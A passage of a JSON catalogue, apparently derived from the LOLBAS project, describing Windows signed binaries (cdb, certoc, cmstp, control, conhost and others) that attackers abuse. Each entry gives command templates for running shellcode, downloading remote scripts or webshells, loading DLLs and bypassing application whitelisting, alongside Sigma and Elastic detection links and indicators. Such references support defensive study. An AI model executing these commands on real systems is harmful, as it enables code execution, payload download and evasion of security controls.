      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml"
      },
      {
        "type": "blockrule",
        "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules"
      }
    ],
    "examples": [
      {
        "description": "Launch 64-bit shellcode from the specified .wds file using cdb.exe. (Local execution of assembly shellcode.)",
        "command": "cdb.exe -cf {PATH:.wds} -o notepad.exe"
      },
      {
        "description": "Attaching to any process and executing shell commands. (Run a shell command under a trusted Microsoft signed binary)",
        "command": "cdb.exe -pd -pn {process_name}\n.shell {CMD}\n"
      },
      {
        "description": "Execute arbitrary commands and binaries using a debugging script (see Resources section for a sample file). (Run commands under a trusted Microsoft signed binary)",
        "command": "cdb.exe -c {PATH:.txt} \"{CMD}\""
      }
    ],
    "execution": {
      "template": "cdb",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-cdb",
    "install": [
      {
        "method": "choco",
        "package_name": "cdb",
        "commands": [
          "choco install cdb"
        ]
      }
    ],
    "mitre_ids": [
      "T1127"
    ],
    "name": "cdb",
    "namespace": "windows:execution:cdb",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "windbg-cdb-shellcode-runner.html",
        "url": "http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html"
      },
      {
        "label": "cdb-command-line-options",
        "url": "https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/cdb-command-line-options"
      },
      {
        "label": "94e2b0a9e3fe1ac0a433b5c3e6bd0bda",
        "url": "https://gist.github.com/mattifestation/94e2b0a9e3fe1ac0a433b5c3e6bd0bda"
      },
      {
        "label": "",
        "url": "https://mrd0x.com/the-power-of-cdb-debugging-tool/"
      },
      {
        "label": "1534957360032120833",
        "url": "https://twitter.com/nas_bench/status/1534957360032120833"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# certoc\n\ncertoc is a Windows LOLBin. Used for installing certificates Located at: c:\\windows\\system32\\certoc.exe; c:\\windows\\syswow64\\certoc.exe.\n",
    "_source": "certoc.md",
    "allowed-tools": [
      "certoc"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Ensar Samil",
    "capabilities": [
      "security.execution.command",
      "network.transfer.download"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "network_traffic",
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Used for installing certificates Located at: c:\\windows\\system32\\certoc.exe; c:\\windows\\syswow64\\certoc.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_certoc_load_dll.yml"
      },
      {
        "type": "ioc",
        "description": "Process creation with given parameter"
      },
      {
        "type": "ioc",
        "description": "Unsigned DLL load via certoc.exe"
      },
      {
        "type": "ioc",
        "description": "Network connection via certoc.exe"
      }
    ],
    "examples": [
      {
        "description": "Loads the target DLL file (Execute code within DLL file)",
        "command": "certoc.exe -LoadDLL {PATH_ABSOLUTE:.dll}"
      },
      {
        "description": "Downloads text formatted files (Download scripts, webshells etc.)",
        "command": "certoc.exe -GetCACAPS {REMOTEURL:.ps1}"
      }
    ],
    "execution": {
      "template": "certoc",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "encryption",
      "network-intensive",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-certoc",
    "install": [
      {
        "method": "choco",
        "package_name": "certoc",
        "commands": [
          "choco install certoc"
        ]
      }
    ],
    "mitre_ids": [
      "T1218",
      "T1105"
    ],
    "name": "certoc",
    "namespace": "windows:execution:certoc",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "1445758411803480072?s=20",
        "url": "https://twitter.com/sblmsrsn/status/1445758411803480072?s=20"
      },
      {
        "label": "1452941226198671363?s=20",
        "url": "https://twitter.com/sblmsrsn/status/1452941226198671363?s=20"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion",
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# change\n\nchange is a Windows LOLBin. Remote Desktop Services MultiUser Change Utility Located at: c:\\windows\\system32\\change.exe; c:\\windows\\syswow64\\change.exe.\n",
    "_source": "change.md",
    "allowed-tools": [
      "change"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Idan Lerman",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Remote Desktop Services MultiUser Change Utility Located at: c:\\windows\\system32\\change.exe; c:\\windows\\syswow64\\change.exe.",
    "detections": [
      {
        "type": "ioc",
        "description": "change.exe being executed and executes a child process outside of its normal path of c:\\windows\\system32\\ or c:\\windows\\syswow64\\"
      }
    ],
    "examples": [
      {
        "description": "Once executed, `change.exe` will execute `chgusr.exe` in the same folder. Thus, if `change.exe` is copied to a folder and an arbitrary executable is renamed to `chgusr.exe`, `change.exe` will spawn it. Instead of `user`, it is also possible to use `port` or `logon` as command-line option. (Execute an arbitrary executable via trusted system executable.)",
        "command": "change.exe user"
      }
    ],
    "execution": {
      "template": "change",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdin",
      "pipes-stdout",
      "process-manip",
      "remote"
    ],
    "global_vars": {},
    "id": "windows-execution-change",
    "install": [
      {
        "method": "choco",
        "package_name": "change",
        "commands": [
          "choco install change"
        ]
      }
    ],
    "mitre_ids": [
      "T1218"
    ],
    "name": "change",
    "namespace": "windows:execution:change",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# cl-invocation\n\ncl-invocation is a Windows LOLBin. Aero diagnostics script Located at: C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1; C:\\Windows\\diagnostics\\system\\Audio\\CL_Invocation.ps1; C:\\Windows\\diagnostics\\system\\WindowsUpdate\\CL_Invocation.ps1.\n",
    "_source": "cl-invocation.md",
    "allowed-tools": [
      "cl-invocation"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Aero diagnostics script Located at: C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1; C:\\Windows\\diagnostics\\system\\Audio\\CL_Invocation.ps1; C:\\Windows\\diagnostics\\system\\WindowsUpdate\\CL_Invocation.ps1.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_cl_invocation.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/powershell/powershell_script/posh_ps_cl_invocation_lolscript.yml"
      }
    ],
    "examples": [
      {
        "description": "Import the PowerShell Diagnostic CL_Invocation script and call SyncInvoke to launch an executable. (Proxy execution)",
        "command": ". C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1   \\nSyncInvoke {CMD}"
      }
    ],
    "execution": {
      "template": "cl-invocation",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdin",
      "pipes-stdout",
      "process-manip"
    ],
    "global_vars": {},
    "id": "windows-execution-cl-invocation",
    "install": [
      {
        "method": "choco",
        "package_name": "cl-invocation",
        "commands": [
          "choco install cl-invocation"
        ]
      }
    ],
    "mitre_ids": [
      "T1216"
    ],
    "name": "cl-invocation",
    "namespace": "windows:execution:cl-invocation",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# cl-loadassembly\n\ncl-loadassembly is a Windows LOLBin. PowerShell Diagnostic Script Located at: C:\\Windows\\diagnostics\\system\\Audio\\CL_LoadAssembly.ps1.\n",
    "_source": "cl-loadassembly.md",
    "allowed-tools": [
      "cl-loadassembly"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Jimmy (@bohops)",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "PowerShell Diagnostic Script Located at: C:\\Windows\\diagnostics\\system\\Audio\\CL_LoadAssembly.ps1.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/ff6c54ded6b52f379cec11fe17c1ccb956faa660/rules/windows/process_creation/proc_creation_win_lolbas_cl_loadassembly.yml"
      }
    ],
    "examples": [
      {
        "description": "Proxy execute Managed DLL with PowerShell (Execute proxied payload with Microsoft signed binary)",
        "command": "powershell.exe -ep bypass -command \"set-location -path C:\\Windows\\diagnostics\\system\\Audio; import-module .\\CL_LoadAssembly.ps1; LoadAssemblyFromPath ..\\..\\..\\..\\testing\\fun.dll;[Program]::Fun()\""
      }
    ],
    "execution": {
      "template": "cl-loadassembly",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "pipes-stdin",
      "pipes-stdout",
      "process-manip"
    ],
    "global_vars": {},
    "id": "windows-execution-cl-loadassembly",
    "install": [
      {
        "method": "choco",
        "package_name": "cl-loadassembly",
        "commands": [
          "choco install cl-loadassembly"
        ]
      }
    ],
    "mitre_ids": [
      "T1216"
    ],
    "name": "cl-loadassembly",
    "namespace": "windows:execution:cl-loadassembly",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "",
        "url": "https://bohops.com/2018/01/07/executing-commands-and-bypassing-applocker-with-powershell-diagnostic-scripts/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# cl-mutexverifiers\n\ncl-mutexverifiers is a Windows LOLBin. Proxy execution with CL_Mutexverifiers.ps1 Located at: C:\\Windows\\diagnostics\\system\\WindowsUpdate\\CL_Mutexverifiers.ps1; C:\\Windows\\diagnostics\\system\\Audio\\CL_Mutexverifiers.ps1; C:\\Windows\\diagnostics\\system\\WindowsUpdate\\CL_Mutexverifiers.ps1.\n",
    "_source": "cl-mutexverifiers.md",
    "allowed-tools": [
      "cl-mutexverifiers"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Proxy execution with CL_Mutexverifiers.ps1 Located at: C:\\Windows\\diagnostics\\system\\WindowsUpdate\\CL_Mutexverifiers.ps1; C:\\Windows\\diagnostics\\system\\Audio\\CL_Mutexverifiers.ps1; C:\\Windows\\diagnostics\\system\\WindowsUpdate\\CL_Mutexverifiers.ps1.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_cl_mutexverifiers.yml"
      }
    ],
    "examples": [
      {
        "description": "Import the PowerShell Diagnostic CL_Mutexverifiers script and call runAfterCancelProcess to launch an executable. (Proxy execution)",
        "command": ". C:\\Windows\\diagnostics\\system\\AERO\\CL_Mutexverifiers.ps1   \\nrunAfterCancelProcess {PATH:.ps1}"
      }
    ],
    "execution": {
      "template": "cl-mutexverifiers",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdin",
      "pipes-stdout",
      "process-manip",
      "remote"
    ],
    "global_vars": {},
    "id": "windows-execution-cl-mutexverifiers",
    "install": [
      {
        "method": "choco",
        "package_name": "cl-mutexverifiers",
        "commands": [
          "choco install cl-mutexverifiers"
        ]
      }
    ],
    "mitre_ids": [
      "T1216"
    ],
    "name": "cl-mutexverifiers",
    "namespace": "windows:execution:cl-mutexverifiers",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "995111125447577600",
        "url": "https://twitter.com/pabraeken/status/995111125447577600"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# cmstp\n\ncmstp is a Windows LOLBin. Installs or removes a Connection Manager service profile. Located at: C:\\Windows\\System32\\cmstp.exe; C:\\Windows\\SysWOW64\\cmstp.exe.\n",
    "_source": "cmstp.md",
    "allowed-tools": [
      "cmstp"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "security.execution.command",
      "security.defense-evasion.bypass"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Installs or removes a Connection Manager service profile. Located at: C:\\Windows\\System32\\cmstp.exe; C:\\Windows\\SysWOW64\\cmstp.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_cmstp_execution_by_creation.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_uac_bypass_cmstp.yml"
      },
      {
        "type": "splunk",
        "url": "https://github.com/splunk/security_content/blob/bee2a4cefa533f286c546cbe6798a0b5dec3e5ef/detections/endpoint/cmlua_or_cmstplua_uac_bypass.yml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/defense_evasion_suspicious_managedcode_host_process.toml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml"
      },
      {
        "type": "ioc",
        "description": "Execution of cmstp.exe without a VPN use case is suspicious"
      },
      {
        "type": "ioc",
        "description": "DotNet CLR libraries loaded into cmstp.exe"
      },
      {
        "type": "ioc",
        "description": "DotNet CLR Usage Log - cmstp.exe.log"
      },
      {
        "type": "ioc",
        "description": "Registry modification to HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\cmmgr32.exe\\CmstpExtensionDll"
      }
    ],
    "examples": [
      {
        "description": "Silently installs a specially formatted local .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll. (Execute code hidden within an inf file. Download and run scriptlets from internet.)",
        "command": "cmstp.exe /ni /s {PATH_ABSOLUTE:.inf}"
      },
      {
        "description": "Silently installs a specially formatted remote .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll. (Execute code hidden within an inf file. Execute code directly from Internet.)",
        "command": "cmstp.exe /ni /s {REMOTEURL:.inf}"
      },
      {
        "description": "cmstp.exe reads the `HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\cmmgr32.exe\\CmstpExtensionDll` registry value and passes its data directly to `LoadLibrary`. By modifying this registry key and setting it to an attack-controlled DLL, this will sideload the DLL via `cmstp.exe`. (Proxy execution of a malicious DLL via registry modification.)",
        "command": "cmstp.exe /nf"
      }
    ],
    "execution": {
      "template": "cmstp",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "network-intensive",
      "pipes-stdin",
      "pipes-stdout",
      "process-manip",
      "remote",
      "stealth"
    ],
    "global_vars": {},
    "id": "windows-execution-cmstp",
    "install": [
      {
        "method": "choco",
        "package_name": "cmstp",
        "commands": [
          "choco install cmstp"
        ]
      }
    ],
    "mitre_ids": [
      "T1218.003"
    ],
    "name": "cmstp",
    "namespace": "windows:execution:cmstp",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "958450014111633408",
        "url": "https://twitter.com/NickTyrer/status/958450014111633408"
      },
      {
        "label": "bbd10d20a5bb78f64a9d13f399ea0f80",
        "url": "https://gist.github.com/NickTyrer/bbd10d20a5bb78f64a9d13f399ea0f80"
      },
      {
        "label": "cf36fd40fa991c3a6f7755d1810cc61e",
        "url": "https://gist.github.com/api0cradle/cf36fd40fa991c3a6f7755d1810cc61e"
      },
      {
        "label": "",
        "url": "https://oddvar.moe/2017/08/15/research-on-cmstp-exe/"
      },
      {
        "label": "UACBypassCMSTP.ps1",
        "url": "https://gist.githubusercontent.com/tylerapplebaum/ae8cb38ed8314518d95b2e32a6f0d3f1/raw/3127ba7453a6f6d294cd422386cae1a5a2791d71/UACBypassCMSTP.ps1"
      },
      {
        "label": "cmstp",
        "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/cmstp"
      },
      {
        "label": "ea8ad5b8a0904dd40b33f01f0e8285dc",
        "url": "https://gist.github.com/ghosts621/ea8ad5b8a0904dd40b33f01f0e8285dc"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# conhost\n\nconhost is a Windows LOLBin. Console Window host Located at: c:\\windows\\system32\\conhost.exe.\n",
    "_source": "conhost.md",
    "allowed-tools": [
      "conhost"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Wietze Beukema",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Console Window host Located at: c:\\windows\\system32\\conhost.exe.",
    "detections": [
      {
        "type": "ioc",
        "description": "conhost.exe spawning unexpected processes"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_conhost_susp_child_process.yml"
      }
    ],
    "examples": [
      {
        "description": "Execute a command line with conhost.exe as parent process (Use conhost.exe as a proxy binary to evade defensive counter-measures)",
        "command": "conhost.exe {CMD}"
      },
      {
        "description": "Execute a command line with conhost.exe as parent process (Specify --headless parameter to hide child process window (if applicable))",
        "command": "conhost.exe --headless {CMD}"
      }
    ],
    "execution": {
      "template": "conhost",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-conhost",
    "install": [
      {
        "method": "choco",
        "package_name": "conhost",
        "commands": [
          "choco install conhost"
        ]
      }
    ],
    "mitre_ids": [
      "T1202"
    ],
    "name": "conhost",
    "namespace": "windows:execution:conhost",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "",
        "url": "https://www.hexacorn.com/blog/2020/05/25/how-to-con-your-host/"
      },
      {
        "label": "1511397781159751680",
        "url": "https://twitter.com/Wietze/status/1511397781159751680"
      },
      {
        "label": "1559410767564181504",
        "url": "https://twitter.com/embee_research/status/1559410767564181504"
      },
      {
        "label": "1561683123816972288",
        "url": "https://twitter.com/ankit_anubhav/status/1561683123816972288"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# control\n\ncontrol is a Windows LOLBin. Binary used to launch controlpanel items in Windows Located at: C:\\Windows\\System32\\control.exe; C:\\Windows\\SysWOW64\\control.exe.\n",
    "_source": "control.md",
    "allowed-tools": [
      "control"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "system.file.alternate-data-stream",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "filesystem_write",
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Binary used to launch controlpanel items in Windows Located at: C:\\Windows\\System32\\control.exe; C:\\Windows\\SysWOW64\\control.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules-emerging-threats/2021/Exploits/CVE-2021-40444/proc_creation_win_exploit_cve_2021_40444.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_rundll32_susp_control_dll_load.yml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/0875c1e4c4370ab9fbf453c8160bb5abc8ad95e7/rules/windows/defense_evasion_execution_control_panel_suspicious_args.toml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/defense_evasion_unusual_dir_ads.toml"
      },
      {
        "type": "ioc",
        "description": "Control.exe executing files from alternate data streams"
      },
      {
        "type": "ioc",
        "description": "Control.exe executing library file without cpl extension"
      },
      {
        "type": "ioc",
        "description": "Suspicious network connections from control.exe"
      }
    ],
    "examples": [
      {
        "description": "Execute evil.dll which is stored in an Alternate Data Stream (ADS). (Can be used to evade defensive countermeasures or to hide as a persistence mechanism)",
        "command": "control.exe {PATH_ABSOLUTE}:evil.dll"
      },
      {
        "description": "Execute .cpl file. A CPL is a DLL file with CPlApplet export function) (Use to execute code and bypass application whitelisting)",
        "command": "control.exe {PATH_ABSOLUTE:.cpl}"
      }
    ],
    "execution": {
      "template": "control",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout",
      "streaming"
    ],
    "global_vars": {},
    "id": "windows-execution-control",
    "install": [
      {
        "method": "choco",
        "package_name": "control",
        "commands": [
          "choco install control"
        ]
      }
    ],
    "mitre_ids": [
      "T1218.002"
    ],
    "name": "control",
    "namespace": "windows:execution:control",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "",
        "url": "https://pentestlab.blog/2017/05/24/applocker-bypass-control-panel/"
      },
      {
        "label": "",
        "url": "https://www.contextis.com/resources/blog/applocker-bypass-registry-key-manipulation/"
      },
      {
        "label": "955659561008017409",
        "url": "https://twitter.com/bohops/status/955659561008017409"
      },
      {
        "label": "executing-control-panel-items",
        "url": "https://docs.microsoft.com/en-us/windows/desktop/shell/executing-control-panel-items"
      },
      {
        "label": "",
        "url": "https://bohops.com/2018/01/23/loading-alternate-data-stream-ads-dll-cpl-binaries-to-bypass-applocker/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "defense-evasion",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# coregen\n\ncoregen is a Windows LOLBin. Binary coregen.exe (Microsoft CoreCLR Native Image Generator) loads exported function GetCLRRuntimeHost from coreclr.dll or from .DLL in arbitrary path. Coregen is located within \"C:\\Program Files (x86)\\Microsoft Silverlight\\5.1.50918.0\\\" or another version of Silverlight. Coregen is signed by Microsoft and bundled with Microsoft Silverlight. Located at: C:\\Program Files\\Microsoft Silverlight\\5.1.50918.0\\coregen.exe; C:\\Program Files (x86)\\Microsoft Silverlight\\5.1.50918.0\\coregen.exe.\n",
    "_source": "coregen.md",
    "allowed-tools": [
      "coregen"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Martin Sohn Christensen",
    "capabilities": [
      "security.execution.command",
      "security.defense-evasion.bypass"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Binary coregen.exe (Microsoft CoreCLR Native Image Generator) loads exported function GetCLRRuntimeHost from coreclr.dll or from .DLL in arbitrary path. Coregen is located within \"C:\\Program Files (x86)\\Microsoft Silverlight\\5.1.50918.0\\\" or another version of Silverlight. Coregen is signed by Microsoft and bundled with Microsoft Silverlight. Located at: C:\\Program Files\\Microsoft Silverlight\\5.1.50918.0\\coregen.exe; C:\\Program Files (x86)\\Microsoft Silverlight\\5.1.50918.0\\coregen.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/b02e3b698afbaae143ac4fb36236eb0b41122ed7/rules/windows/image_load/image_load_side_load_coregen.yml"
      },
      {
        "type": "ioc",
        "description": "coregen.exe loading .dll file not in \"C:\\Program Files (x86)\\Microsoft Silverlight\\5.1.50918.0\\\""
      },
      {
        "type": "ioc",
        "description": "coregen.exe loading .dll file not named coreclr.dll"
      },
      {
        "type": "ioc",
        "description": "coregen.exe command line containing -L or -l"
      },
      {
        "type": "ioc",
